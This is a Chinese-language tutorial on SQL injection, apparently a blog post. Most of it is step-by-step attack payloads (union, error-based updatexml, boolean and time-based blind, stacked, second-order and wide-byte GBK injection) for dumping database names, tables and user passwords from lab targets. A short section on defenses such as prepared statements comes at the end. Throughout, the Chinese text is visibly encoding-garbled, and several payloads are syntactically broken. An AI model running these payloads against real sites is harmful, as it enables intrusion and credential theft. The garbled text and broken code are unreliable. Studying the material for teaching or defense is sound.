一、sql注入原理

SQL 注入就是指 web 應(yīng)用程序?qū)τ脩糨斎氲臄?shù)據(jù)合法性沒有過濾或者是判斷,前端傳入的參數(shù)是攻擊者可以控制,并且參數(shù)帶入數(shù)據(jù)庫的查詢,攻擊者可以通過構(gòu)造惡意的 sql 語句來實現(xiàn)對數(shù)據(jù)庫的任意操作。 舉例說明: id=GET[‘id’] sql=SELECT * FROM users WHERE id=id LIMIT 0,1
1 、SQL 注入漏洞產(chǎn)生的條件?
A:參數(shù)用戶可控:前端傳入的參數(shù)內(nèi)容由用戶控制 B:參數(shù)帶入數(shù)據(jù)庫的查詢:傳入的參數(shù)拼接到 SQL 語句,并且?guī)霐?shù)據(jù)庫的查詢
2、關(guān)于數(shù)據(jù)庫
a) 在 MySQL5.0 版本后,MySQL 默認在數(shù)據(jù)庫中存放一個information_schema的數(shù)據(jù)庫,在該庫中,我們需要記住三個表名,分別是 schemata,tables,columns。
b) Schemata 表存儲的是該用戶創(chuàng)建的所有數(shù)據(jù)庫的庫名,需要記住該表中記錄數(shù)據(jù)庫名的字段名為 schema_name。
c) Tables 表存儲該用戶創(chuàng)建的所有數(shù)據(jù)庫的庫名和表名,要記住該表中記錄數(shù)據(jù)庫 庫名和表名的字段分別是 table_schema 和 table_name.
d) Columns 表存儲該用戶創(chuàng)建的所有數(shù)據(jù)庫的庫名、表名、字段名,要記住該表中記錄數(shù)據(jù)庫庫名、表名、字段名為 table_schema、table_name、columns_name。
1. 數(shù)據(jù)庫查詢語句:
數(shù)據(jù)庫查詢語句如下: 想要查詢的值 A= select 所屬字段名 A from 所屬表名 where 對應(yīng)字段名 B=值 B
關(guān)于幾個表的一些語法:
// 通過這條語句可以得到所有的數(shù)據(jù)庫名
select schema_name from information_schema.schemata limit 0,1
// 通過這條語句可以得到所有的數(shù)據(jù)表名
select table_name from information_schema.tables limit 0,1
// 通過這條語句可以得到指定security數(shù)據(jù)庫中的所有表名
select table_name from information_schema.tables where table_schema='security'limit 0,1
// 通過這條語句可以得到所有的列名
select column_name from information_schema.columns limit 0,1
// 通過這條語句可以得到指定數(shù)據(jù)庫security中的數(shù)據(jù)表users的所有列名
select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
//通過這條語句可以得到指定數(shù)據(jù)表users中指定列password的數(shù)據(jù)(只能是database()所在的數(shù)據(jù)庫內(nèi)的數(shù)據(jù),因為處于當(dāng)前數(shù)據(jù)庫下的話不能查詢其他數(shù)據(jù)庫內(nèi)的數(shù)據(jù))
select password from users limit 0,1
2.Limit 的用法 Limit 的使用格式是 limit m,n,其中 m 指的是記錄開始的位置,從 m=0 開始,表示第一條記錄; n 是指取幾條記錄。
3.需要記住的幾個函數(shù)
a) Version();當(dāng)前 mysql 的版本
b) Database();當(dāng)前網(wǎng)站使用的數(shù)據(jù)庫
c) User();當(dāng)前 MySQL 的用戶
d) system_user(); 系統(tǒng)用戶名
e)session_user();連接數(shù)據(jù)庫的用戶名
f)current_user;當(dāng)前用戶名
g)load_file();讀取本地文件
h)length(str) : 返回給定字符串的長度,如 length(“string”)=6
i)substr(string,start,length) : 對于給定字符串string,從start位開始截取,截取length長度 ,如 substr(“chinese”,3,2)=“in”
substr()、stbstring()、mid() 三個函數(shù)的用法、功能均一致
j)concat(username):將查詢到的username連在一起,默認用逗號分隔
concat(str1,’’,str2):將字符串str1和str2的數(shù)據(jù)查詢到一起,中間用連接
group_concat(username) :將username數(shù)據(jù)查詢在一起,用逗號連接
4.注釋符號 三種注釋符號: i. 1. #
ii. 2. --空格 空格可以使用+代替 (url 編碼%23 表示注釋)
iii. 3. /**/
sql注入漏洞攻擊流程:注入點探測—信息獲取—獲取權(quán)限
二、 sql注入的類型介紹
按照注入點類型來分類
(1)數(shù)字型注入點
類似結(jié)構(gòu) http://xxx.com/users.php?id=1 基于此種形式的注入,一般被叫做數(shù)字型注入點,緣由是其注入點 id 類型為數(shù)字,在大多數(shù)的網(wǎng)頁中,諸如 查看用戶個人信息,查看文章等,大都會使用這種形式的結(jié)構(gòu)傳遞id等信息,交給后端,查詢出數(shù)據(jù)庫中對應(yīng)的信息,返回給前臺。這一類的 SQL 語句原型大概為 select * from 表名 where id=1 若存在注入,我們可以構(gòu)造出類似與如下的sql注入語句進行爆破:
select * from 表名 where id=1 and 1=1
(2)字符型注入點
類似結(jié)構(gòu) http://xxx.com/users.php?name=admin 這種形式,其注入點 name 類型為字符類型,所以叫字符型注入點。這一類的 SQL 語句原型大概為 select * from 表名 where name=‘a(chǎn)dmin’ 值得注意的是這里相比于數(shù)字型注入類型的sql語句原型多了引號,可以是單引號或者是雙引號。若存在注入,我們可以構(gòu)造出類似與如下的sql注入語句進行爆破:
select * from 表名 where name='admin' and 1=1 '
我們需要將這些煩人的引號給處理掉。
(3)搜索型注入點
這是一類特殊的注入類型。這類注入主要是指在進行數(shù)據(jù)搜索時沒過濾搜索參數(shù),一般在鏈接地址中有 “keyword=關(guān)鍵字” 有的不顯示在的鏈接地址里面,而是直接通過搜索框表單提交。此類注入點提交的 SQL 語句,其原形大致為:select * from 表名 where 字段 like ‘%關(guān)鍵字%’ 若存在注入,我們可以構(gòu)造出類似與如下的sql注入語句進行爆破:
select * from 表名 where 字段 like '%測試%' and '%1%'='%1%'
1
按照數(shù)據(jù)提交的方式來分類
(1)GET 注入
提交數(shù)據(jù)的方式是 GET , 注入點的位置在 GET 參數(shù)部分。比如有這樣的一個鏈接http://xxx.com/news.php?id=1 , id 是注入點。
(2)POST 注入
使用 POST 方式提交數(shù)據(jù),注入點位置在 POST 數(shù)據(jù)部分,常發(fā)生在表單中。
(3)Cookie 注入
HTTP 請求的時候會帶上客戶端的 Cookie, 注入點存在 Cookie 當(dāng)中的某個字段中。
(4)HTTP 頭部注入
注入點在 HTTP 請求頭部的某個字段中。比如存在 User-Agent 字段中。嚴格講的話,Cookie 其實應(yīng)該也是算頭部注入的一種形式。因為在 HTTP 請求的時候,Cookie 是頭部的一個字段。
按照執(zhí)行效果來分類
(1)基于布爾的盲注
即可以根據(jù)返回頁面判斷條件真假的注入。
(2)基于時間的盲注
即不能根據(jù)頁面返回內(nèi)容判斷任何信息,用條件語句查看時間延遲語句是否執(zhí)行(即頁面返回時間是否增加)來判斷。
(3)基于報錯注入
即頁面會返回錯誤信息,或者把注入的語句的結(jié)果直接返回在頁面中。
單引號
雙引號
基于數(shù)字型注入
(4)聯(lián)合查詢注入
可以使用union的情況下的注入。
(5)堆查詢注入
可以同時執(zhí)行多條語句的執(zhí)行時的注入。
(6)寬字節(jié)注入
寬字節(jié)注入主要是源于程序員設(shè)置數(shù)據(jù)庫編碼與 php 編碼設(shè)置為不同的兩個編碼,這樣就可能會產(chǎn) 生寬字節(jié)注入。GBK 占用兩字節(jié),ASCII 占用一字節(jié)。PHP 中編碼為 GBK,函數(shù)執(zhí)行添加的是 ASCII 編碼(添加的符號為?\?),MYSQL 默認字符集是 GBK 等寬字節(jié)字符集。 輸入%df%27,本來\ 會轉(zhuǎn)義%27(’),但\(其中\(zhòng)的十六進制是 %5C)的編碼位數(shù)為 92,%df 的 編碼位數(shù)為 223,%df%5c 符合 gbk 取值范圍(第一個字節(jié) 129-254,第二個字節(jié) 64-254),會解析 為一個漢字?運?,這樣\就會失去應(yīng)有的作用
三、sql漏洞探測方法
一般來說,SQL 注入一般存在于形如:http://xxx.xxx.xxx/abc.asp?id=XX 等帶有參數(shù)的 ASP 動態(tài)網(wǎng)頁中,有時一個動態(tài)網(wǎng)頁中可能只有一個參數(shù),有時可能有 N 個參數(shù),有時是整型參數(shù),有時是字符串型參數(shù),不能一概而論??傊灰菐в袇?shù)的動態(tài)網(wǎng)頁并且該網(wǎng)頁訪問了數(shù)據(jù)庫,那么就有可能存在 SQL 注入。
1、先加單引號’、雙引號"、等看看是否報錯,如果報錯就可能存在SQL注入漏洞了。
2、還有在URL后面加 and 1=1 、 and 1=2 看頁面是否顯示一樣,顯示不一樣的話,肯定存在SQL注入漏洞了。
3、還有就是Timing Attack測試,也就是時間盲注。通過簡單的條件語句比如 and 1=2 是無法看出異常的。在MySQL中,有一個Benchmark() 函數(shù),它是用于測試性能的。 Benchmark(count,expr) ,這個函數(shù)執(zhí)行的結(jié)果,是將表達式 expr 執(zhí)行 count 次 。
因此,利用benchmark函數(shù),可以讓同一個函數(shù)執(zhí)行若干次,使得結(jié)果返回的時間比平時要長,通過時間長短的變化,可以判斷注入語句是否執(zhí)行成功。
四、sql注入實例
1、union聯(lián)合查詢
? ? ? union聯(lián)合、合并:將多條查詢語句的結(jié)果合并成一個結(jié)果,union 注入攻擊為一種手工測試。
? ? ? 注入思路:
? ? ? A:判斷是否存在注入點http://xxxxxxxxx?id=1
? ? ? ? ? ? ? ? ? ? 1' 異常 1 and 1=1? 返回結(jié)果和 id=1 一樣
? ? ? ? ? ? ? ? ? ? 1 and 1=2? 異常
? ? ? ? ? ? ? ? ? ? 從而則一定存在 SQL 注入漏洞
? ? ? ? ? ? ? ? B:order by 1-99 語句來查詢該數(shù)據(jù)表的字段數(shù)
? ? ? ? ? ? ? ? C:利用獲得的列數(shù)使用聯(lián)合查詢,union select 與前面的字段數(shù)一樣
? ? ? ? ? ? ? ? ? 找到了數(shù)據(jù)呈現(xiàn)的位置http://xxxxxxx?id=1 union select 1,2,3,4,5,6
? ? ? ? ? ? ? ? D:根據(jù)顯示內(nèi)容確定查詢語句的位置,利用 information_schema
? ? ? ? ? ? ? ? 依次進行查詢 schemata, tables,columns
? ? ? ? ? ? ? ? E:已知庫名、表名和字段名,接下來就爆數(shù)據(jù)
3、information_schema注入
? information_schema數(shù)據(jù)庫是MySQL系統(tǒng)自帶的數(shù)據(jù)庫。其中保存著關(guān)于MySQL服務(wù)器所維護的所有其他數(shù)據(jù)庫的信息。通過information_schema注入,我們可以將整個數(shù)據(jù)庫內(nèi)容全部竊取出來, 使用order by來判斷查詢的字段。先找出數(shù)據(jù)庫的名稱,輸入vince' union select database(),user(),3#%得到反饋,判斷數(shù)據(jù)庫名稱為pikachu。
??? 獲取pikachu數(shù)據(jù)庫的表名,輸入:u' union select table_schema ,table_name,3from information_schema.tables where table_schema='pikachu'#

獲取pikachu數(shù)據(jù)庫的字段名,輸入:k' union select table_name,column_name,3 from
information_schema.columns where table_name='users'#%

最后獲取字段值的內(nèi)容,輸入:kobe'union select username ,password,3 fromusers#%

2、boolean注入
? 判斷方式:
? 通過長度判斷 length(): length(database())>=x
? 通過字符判斷 substr():substr(database() ,1,1)= 's'
? 通過 ascII 碼判斷:ascii():ascii(substr(database(),1,1)) =x
? 注入漏洞判斷:
? 1.id=1'? 報錯
? 2.id=1 and 1=1? 結(jié)果和 id=1 一樣
? 3.id=1 and 1=2? 結(jié)果異常
攻擊實戰(zhàn):
Boolean 注入是指構(gòu)造 SQL 判斷語句,通過查看頁面的返回結(jié)果來推測哪些 SQL 判斷條件是成立的,以此來獲取數(shù)據(jù)庫中的數(shù)據(jù)。
? A:判斷數(shù)據(jù)庫名的長度 http://xxxxxx?id=1' and length(database())>=1--+? 從而判 斷數(shù)據(jù)庫名的長度為 4
? B:判斷數(shù)據(jù)庫名 Substr() 數(shù)據(jù)庫庫名 a~z,0~9 ‘a(chǎn)nd substr(database(),1,1)--+
? C:Burp 判斷數(shù)據(jù)庫名 http://xxxxxxxx?id=1' and substr(database(),1,1)='a'--+ 逐字判斷數(shù)據(jù)庫名為 test,test 數(shù)據(jù)庫名
? D:Burpsuite 爆破數(shù)據(jù)庫的表名 http://xxxxxx?id=1' and substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1)='a'--+ person? ? users? xss? //三個表
? E:Burp 爆字段名 http://xxxxxxxx?id=1' and substr((select column_name from information_schema.columns where table_schema='test' and table_name='users' limit 0,1),1,1)='a'--+ id? username? password 等
? F:獲取數(shù)據(jù) http://xxxxx?id=1' and substr((select username from test.users limit 0,1),1,1)='a'--+
3、報錯注入
在 MYSQL 中使用一些指定的函數(shù)來制造報錯,后臺沒有屏蔽數(shù)據(jù)庫報錯信息,在語法發(fā)生錯 誤時會輸出在前端,從而從報錯信息中獲取設(shè)定的信息。select/insert/update/delete 都 可以使用報錯來獲取信息。常用的爆錯函數(shù) updatexml(),extractvalue(),floor() ,exp()

payload語法:
1、爆數(shù)據(jù)庫版本信息
k' and updatexml(1,concat(0x7e,(SELECT@@version),0x7e),1)?#
2、爆數(shù)據(jù)庫當(dāng)前用戶
k' and?updatexml(1,concat(0x7e,(SELECTuser()),0x7e),1)#
3、爆數(shù)據(jù)庫
k' and updatexml(1,concat(0x7e,(SELECTdatabase()),0x7e),1) #
4、爆表
獲取數(shù)據(jù)庫表名,輸入:k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where
table_schema='pikachu')),0)#,但是反饋回的錯誤表示只能顯示一行,所以采用limit來一行一行顯示

輸入k' andupdatexml(1,concat(0x7e,(select table_name from information_schema.tables where
table_schema='pikachu'limit 0,1)),0)#更改limit后面的數(shù)字limit 0完成表名遍歷。

5、爆字段
獲取字段名,輸入:k' andupdatexml(1,concat(0x7e,(select column_name from information_schema.columnswhere table_name='users'limit2,1)),0)#

6、爆字段內(nèi)容
獲取字段內(nèi)容,輸入:k' and? updatexml(1,concat(0x7e,(select password fromusers limit 0,1)),0)#
返回結(jié)果為連接參數(shù)產(chǎn)生的字符串。如有任何一個參數(shù)為NULL ,則返回值為 NULL。
通過查詢@@version,返回版本。然后CONCAT將其字符串化。因為UPDATEXML第二個參數(shù)需要Xpath格式的字符串,所以不符合要求,然后報錯。

攻擊實戰(zhàn):
A:注入點探測及類型 a’制作報錯,字符型
B:利用函數(shù) updatexml()獲取數(shù)據(jù)庫名 http://xxxxx?username=a' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
C:利用函數(shù) updatexml()獲取表名 http://xxxxxxx?username=a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test'),0x7e),1)--+
D:利用函數(shù) updatexml()獲取字段名 http://xxxxxxx?username=a' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='users'),0x7e),1)--+
E:利用函數(shù) updatexml()獲取值 http://xxxxxxx?username=a' and updatexml(1,concat(0x7e,(select username from test.users limit 0,1),0x7e),1)--+
insert注入
insert注入,就是前端注冊的信息最終會被后臺通過insert這個操作插入數(shù)據(jù)庫,后臺在接受前端的注冊數(shù)據(jù)時沒有做防SQL注入的處理,導(dǎo)致前端的輸入可以直接拼接SQL到后端的insert相關(guān)內(nèi)容中,導(dǎo)致了insert注入。
到數(shù)據(jù)庫中輸入insert into member (username,pw,sex,phonenum,email,address) values('oldboy',123456,1,2,3,4);來插入一個用戶,在輸入select * from member;查看所有用戶

進入網(wǎng)站注冊頁面,填寫網(wǎng)站注冊相關(guān)信息,通過Burp抓包在用戶名輸入相關(guān)payload,格式如下:
oldboy'or updatexml(1,concat(0x7e,(命令)),0) or'
1.爆表名
oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'

2.爆列名
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'

3.爆內(nèi)容
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''

update注入
與insert注入的方法大體相同,區(qū)別在于update用于用戶登陸端,insert用于用于用戶注冊端。
一般登錄網(wǎng)站前臺或后臺更新用戶信息的地方,填寫用戶需要修改相關(guān)信息,通過Burp抓包在用戶名輸入相關(guān)payload,格式如下:
update注入:
' or updatexml(0,concat(0x7e,(database())),0) or'

dalete注入?
一般應(yīng)用于前后端發(fā)貼、留言、用戶等相關(guān)刪除操作,點擊刪除按鈕時可通過Brup Suite抓包,對數(shù)據(jù)包相關(guān)delete參數(shù)進行注入,
注入方法如下:delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0)

Http Header
直接獲取前端頭信息沒有做處理,留下隱患

Cookie注入
Cookie是網(wǎng)站為了識別用戶身份來跟蹤會話的,雖然Cookie是由后端生成的,但每次頁面跳轉(zhuǎn),后端都回對前端的Cookie的信息進行驗證,但如果后端獲取Cookie后放在數(shù)據(jù)庫中進行拼接,那么這也將是一個SQL注入點。在 ant[uname]=admin后添加一個’觀察反饋的MYSQL的語法報錯,發(fā)現(xiàn)了存在SQL注入漏洞,在設(shè)置Payload 'and updatexml (1,concat(0x7e,database()),0)#,觀察報錯和之前是否相同。

Boolian(布爾型)盲注
在我們的注入語句被帶入數(shù)據(jù)庫查詢但卻什么都沒有返回的情況我們該怎么辦?例如應(yīng)用程序就會返回一個“通用的”的頁面,或者重定向一個通用頁面(可能為網(wǎng)站首頁)。這時,我們之前學(xué)習(xí)的SQL注入辦法就無法使用了。
?????? 盲注,即在SQL注入過程中,SQL語句執(zhí)行選擇后,選擇的數(shù)據(jù)不能回顯到前端,我們需要使用一些特殊的方法進行判斷或嘗試,這個過程稱為盲注。
SQL盲注分為三大類:基于布爾型SQL盲注、基于時間型SQL盲注、基于報錯型SQL盲注
輸入語句select ascii(substr(database(),1,1))>xx;通過對比ascii碼的長度,判斷出數(shù)據(jù)庫表名的第一個字符。
注:substr()函數(shù)
substr(string,start,length)
string(必需)規(guī)定要返回其中一部分的字符串。start(必需)規(guī)定在字符串的何處開始。length(可選)規(guī)定被返回字符串的長度。
?????? 那么通過這個方法,雖然只能通過判斷單個字符,我們同樣可以使用length來判斷表名的長度,判斷出長度后就能多次輸入payload來爆破出每一個表名的字符。輸入語句:select length(database())<xx;判斷表名長度為xx。
回到pikachu平臺按照之前的邏輯,我們構(gòu)造語句,如果返回1,那么就會爆出選擇的信息,返回0,就會返回 您輸入的username不存在! 。按照之前邏輯,輸入sql語句:vince' and
ascii(substr(database(),1,1))=112#,通過這個方法,就能得到后臺數(shù)據(jù)庫的名稱的第一個字符的ascii碼。同之前的辦法,我們也可以獲得information_schema.tables里的數(shù)據(jù)。但在實際操作中通常不會使用手動盲注的辦法,可以使用sqlmap等工具來增加盲注的效率。
4、時間盲注
代碼存在 sql 注入漏洞,然而頁面既不會回顯數(shù)據(jù),也不會回顯錯誤信息,語句執(zhí)行后也 不提示真假,我們不能通過頁面的內(nèi)容來判斷。這里我們可以通過構(gòu)造語句,通過頁面響應(yīng)的 時長,來判斷信息,這既是時間盲注。原理:利用 sleep()或 benchmark()等函數(shù)讓 mysql 執(zhí)行時間變長經(jīng)常與 if(expr1,expr2,expr3) 語句結(jié)合使用,通過頁面的響應(yīng)時間來判斷條件是否正確。if(expr1,expr2,expr3)含義是如果 expr1 是 True,則返回 expr2,否則返回 expr3。
特點:
通過時間回顯的延遲作為判斷 payload=1’ and sleep(5)–+ 有延遲則考慮時間盲注
利用 sleep()或 benchmark()函數(shù)延長 mysql 的執(zhí)行時間
與 if()搭配使用
到base on time盲注下,輸入上個演示中設(shè)置好的payload vince' and ascii(substr(database(),1,1))=112#,返回的信息發(fā)現(xiàn)不存在注入點。那這樣就不能進行注入了?但其實可以通過后端的執(zhí)行時間來進行注入。這里會用到的payload: vince' and sleep(x)#


基于時間的延遲,構(gòu)造一個拼接語句:vince' and
if(substr(database(),1,1)='X' (猜測點)',sleep(10),null#,輸入后,如果猜測真確,那么就會響應(yīng)10秒,如果錯誤會立刻返回錯誤。輸入:vince' and
if(substr(database(),1,1)='p',sleep(10),null)#,再web控制臺下,判斷出database的表名的一個字符為p。通過這個辦法我們就能逐步向下獲取數(shù)據(jù)。


常用函數(shù):
? left(m,n) --從左向右截取字符串 m 返回其前 n 位
? substr(m,1,1) --取字符串 m 的左邊第一位起,1 字長的字符串
? ascii(m) --返回字符 m 的 ASCII 碼
? base64(m)—返回字符 m 的 base64 編碼 ? if(str1,str2,str3)–如果 str1 正確就執(zhí)行 str2,否則執(zhí)行 str3
? sleep(m)–使程序暫停 m 秒
? length(m) --返回字符串 m 的長度
? count(column_name) --返回指定列的值的數(shù)目
payload:if(expr1,expr2,expr3) 語義解析 :
對 expr1 進行布爾判斷,如果為真,則執(zhí)行 expr2,如果為假,則執(zhí)行 expr3 常用 payload: If(length(database())>1,sleep(5),1) 如果數(shù)據(jù)庫名字符長度大于 1 為真,mysql 休眠 5 秒,如果為假則查詢 1。而查詢 1 的結(jié)果,大約只有幾十毫秒,根據(jù) Burp Suite 中頁面的響應(yīng) 時間,可以判斷條件是否正確。
攻擊實戰(zhàn):
判斷數(shù)據(jù)庫名的長度
http://xxxxxx?id=1 and if(length(database())>=6,sleep(5),1)
爆庫名
http://xxxxxxx?id=1 and if(substr(database(),1,1)='a',sleep(5),1)? 數(shù)據(jù)庫名為 test
爆表名
http://xxxxxxx?id=1 and if(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1)='a',sleep(5),1)? 表名
爆字段
? http://xxxxxxx?id=1 and if(substr((select column_name from information_schema.columns where table_schema='test' and table_name='users' limit 0,1),1,1)='a',sleep(5),1)?
爆數(shù)據(jù)
http://xxxxxxxxxx?id=1 and if(substr(select username from test.users limit 0,1),1,1)='a',sleep(5),1) 由于數(shù)據(jù)庫名的范圍一般在 a~z,0~9,特殊字符,大小寫等
5、堆疊查詢注入
Stacked injections:堆疊注入。從名詞的含義就可以看到應(yīng)該是一堆 sql 語句(多條) 一起執(zhí)行。而在真實的運用中也是這樣的,在 mysql 中,主要是命令行中,每一 條語句結(jié)尾加 ;表示語句結(jié)束。這樣我們就想到了多條語句一起使用。
使用條件
堆疊注入的使用條件十分有限,其可能受到 API 或者數(shù)據(jù)庫引擎,又或者權(quán)限的限制只有 當(dāng)調(diào)用數(shù)據(jù)庫函數(shù)支持執(zhí)行多條 sql 語句時才能夠使用,利用 mysqli_multi_query()函數(shù)就支持多條 sql 語句同時執(zhí)行,但實際情況中,如 PHP 為了防止 sql 注入機制,往往使用調(diào)用數(shù)據(jù)庫的函數(shù)是 mysqli_ query()函數(shù),其只能執(zhí)行一條語句,分號后面的內(nèi)容將不會被執(zhí)行,所 以可以說堆疊注入的使用條件十分有限,一旦能夠被使用,將可能對網(wǎng)站造成十分大的威脅。
攻擊構(gòu)造
正常 sql 語句:Select * from users where id=’1’’;
注入 sql 語 句 : Select * from users where id=’1’;select if(length(database())>5,sleep(5),1)%23; Payload= ‘;select if(length(database())>5,sleep(5),1)%23 Payload= ‘;select if(substr(user(),1,1)=‘r’,sleep(3),1)%23 如此句:從堆疊注 入語句中可以看出,第二條 SQL 語句(select if(substr(user(),1,1)=‘r’,sleep(3),1)%23 就是時間盲注的語句。
堆疊注入和 union 的區(qū)別在于,union后只能跟 select,而堆疊后面可以使用 insert,update,
create,delete 等常規(guī)數(shù)據(jù)庫語句。
攻擊實例
? 爆庫名:test http://127.0.0.1/web/sql/duidie.php?id=1;select if(substr(database(),1,1)='a',sleep(5),1)
? 爆表名 http://127.0.0.1/web/sql/duidie.php?id=1;select if(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1)='a',sleep(5),1)
? 爆字段名 http://127.0.0.1/web/sql/duidie.php?id=1;select if(substr((select column_name from information_schema.columns where table_schema='test' where table_name='user' limit 0,1),1,1)='a',sleep(5),1)
? 爆值 http://127.0.0.1/web/sql/duidie.php?id=1;select if(substr((select username from test.users limit 0,1),1,1)='a',sleep(5),1)
6、二次注入
二次注入可以理解為,攻擊者構(gòu)造的惡意數(shù)據(jù)存儲在數(shù)據(jù)庫后,惡意數(shù)據(jù)被讀取并進入到 SQL 查詢語句所導(dǎo)致的注入。防御者可能在用戶輸入惡意數(shù)據(jù)時對其中的特殊字符進行了轉(zhuǎn)義 處理,但在惡意數(shù)據(jù)插入到數(shù)據(jù)庫時被處理的數(shù)據(jù)又被還原并存儲在數(shù)據(jù)庫中,當(dāng) Web 程序調(diào) 用存儲在數(shù)據(jù)庫中的惡意數(shù)據(jù)并執(zhí)行 SQL 查詢時,就發(fā)生了 SQL 二次注入。
兩個條件
a:進行數(shù)據(jù)庫插入數(shù)據(jù)時,對其中的特殊字符進行了轉(zhuǎn)義處理,在寫入數(shù)據(jù)庫的時候又保留了原 來的數(shù)據(jù)。
b:開發(fā)者默認存入數(shù)據(jù)庫的數(shù)據(jù)都是安全的,在進行查詢時,直接從數(shù)據(jù)庫中取出惡意數(shù)據(jù),沒 有進行進一步的檢驗的處理。
攻擊實例
練習(xí)地址:http://sqli/Less-24 知道用戶 Admin 但是不知道密碼
注冊一個 admin’#用戶
修改 admin’#的密碼
Update users set password=’new_pass’where username=’admin’#’and password=’123456’
實際上 Update users set password=’new_pass’where username=’admin’
7、寬字節(jié)注入
寬字節(jié)注入主要是源于程序員設(shè)置數(shù)據(jù)庫編碼與 php 編碼設(shè)置為不同的兩個編碼,這樣就可能會產(chǎn) 生寬字節(jié)注入。GBK 占用兩字節(jié),ASCII 占用一字節(jié)。PHP 中編碼為 GBK,函數(shù)執(zhí)行添加的是 ASCII 編碼(添加的符號為?\?),MYSQL 默認字符集是 GBK 等寬字節(jié)字符集。 輸入%df%27,本來\ 會轉(zhuǎn)義%27(’),但\(其中\(zhòng)的十六進制是 %5C)的編碼位數(shù)為 92,%df 的 編碼位數(shù)為 223,%df%5c 符合 gbk 取值范圍(第一個字節(jié) 129-254,第二個字節(jié) 64-254),會解析 為一個漢字?運?,這樣\就會是去應(yīng)有的作用。 id=1’ id=1%df%5c’
攻擊實例
127.0.0.1/web/sql/kuanzifu.php?id=1
127.0.0.1/web/sql/kuanzifu.php?id=1’
127.0.0.1/web/sql/kuanzifu.php?id=1%df’
從返回的結(jié)果可以看出,參數(shù) id=1 在數(shù)據(jù)庫查詢是被單引號包圍的。當(dāng)傳入?yún)?shù) id=1’時, 傳入的單引號又被轉(zhuǎn)義符(反斜線)轉(zhuǎn)義,導(dǎo)致參數(shù) ID 無法逃逸單引號的包圍,所以在一般情況下, 此處是不存在 SQL 注入漏洞的。不過有一個特例,就是當(dāng)數(shù)據(jù)庫的編碼為 GBK 時,可以使用寬字節(jié) 注入,寬字節(jié)的格式是在地址后先加一個%df,再加單引號,因為反斜杠的編碼為%5c,而在 GBK 編碼 中,%df%5c 是繁體字連,所以這時,單引號成功逃逸,爆出 Mysql 數(shù)據(jù)庫錯誤。
? %df%27====>(check_addslashes)====>%df%5c%27====>(GBK)====>運'
? $sql="SELECT * FROM users WHERE id='1 運'' LIMIT 0,1"; #成功將單引號閉合,可以進行 SQL 注入。
? ? 判斷數(shù)據(jù)庫表有 6 個字段數(shù) http://127.0.0.1/web/sql/kuanzifu.php?id=1%df%27%20order%20by%207--+
? ? http://127.0.0.1/web/sql/kuanzifu.php?id=-1%df%27%20union%20select%201,2,3,4,5,6--+
? ? 爆庫名 http://127.0.0.1/web/sql/kuanzifu.php?id=-1%df%27%20union%20select%201,2,3,(databas e()),5,6--+
? ? 爆表名 http://127.0.0.1/web/sql/kuanzifu.php?id=-1%df' union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=(select database())),5,6%23
? ? 爆字段名 http://127.0.0.1/web/sql/kuanzifu.php?id=-1%df' union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 1,1)),5,6%23
五、sql注入繞過技術(shù)分析
傳送門在此——>sql注入繞過http://www.itdecent.cn/p/46ae7a1d3e26
六、如何正確的防御sql注入
既然sql注入的危害如此之大,我們應(yīng)該怎么正確的防御呢?從防御的角度來看,要做的事情有兩件:
a 找到所有的sql注入漏洞
b:修補這些漏洞
sql注入的防御并不是一件簡單的事情,之前我也上網(wǎng)查資料,大多數(shù)采取的辦法也是最簡單粗暴的辦法就是 對用戶的輸入做一些escape處理,但這是不夠的。這種基于黑名單的方法或多或少都存在一些問題。(在sql保留字中,用戶提交的正常數(shù)據(jù)也有可能會使用這些單詞,從而對用戶的正常數(shù)據(jù)進行了誤殺)—包括我自己之前也覺得過濾這些關(guān)鍵字就好了哈哈哈0.0
那么該如何正確的防御呢?
1、使用預(yù)編譯語句,綁定變量
使用預(yù)編譯的sql語句,sql語句的語意不會發(fā)生改變。在sql語句中,變量用?表示,攻擊者無法改變sql語句的結(jié)構(gòu)。
2、使用存儲過程
使用存儲過程的效果和使用預(yù)編譯語句類似,其區(qū)別就是存儲過程需要先將sql語句定義在數(shù)據(jù)庫中。但需要注意的是,存儲過程也可能存在注入問題,因此應(yīng)該盡量避免在存儲過程內(nèi)使用動態(tài)的sql語句。
3、檢查數(shù)據(jù)類型
檢查數(shù)據(jù)的輸入類型,在很大程度上可以對抗sql注入。比如用戶在輸入郵箱時,必須嚴格按照郵箱的格式;輸入時間、日期時,必須嚴格按照時間、日期的格式等等,都能避免用戶數(shù)據(jù)造成破壞。但數(shù)據(jù)類型檢查并非萬能的,如果需求就是需要用戶提交字符串,比如一段短文,則需要依賴其他的方法防范sql注入。
4、使用安全函數(shù)
一般來說,各種web語言都實現(xiàn)了一些編碼函數(shù),可以幫助對抗sql注入。數(shù)據(jù)庫廠商也對安全的編碼函數(shù)做了“指導(dǎo)”。
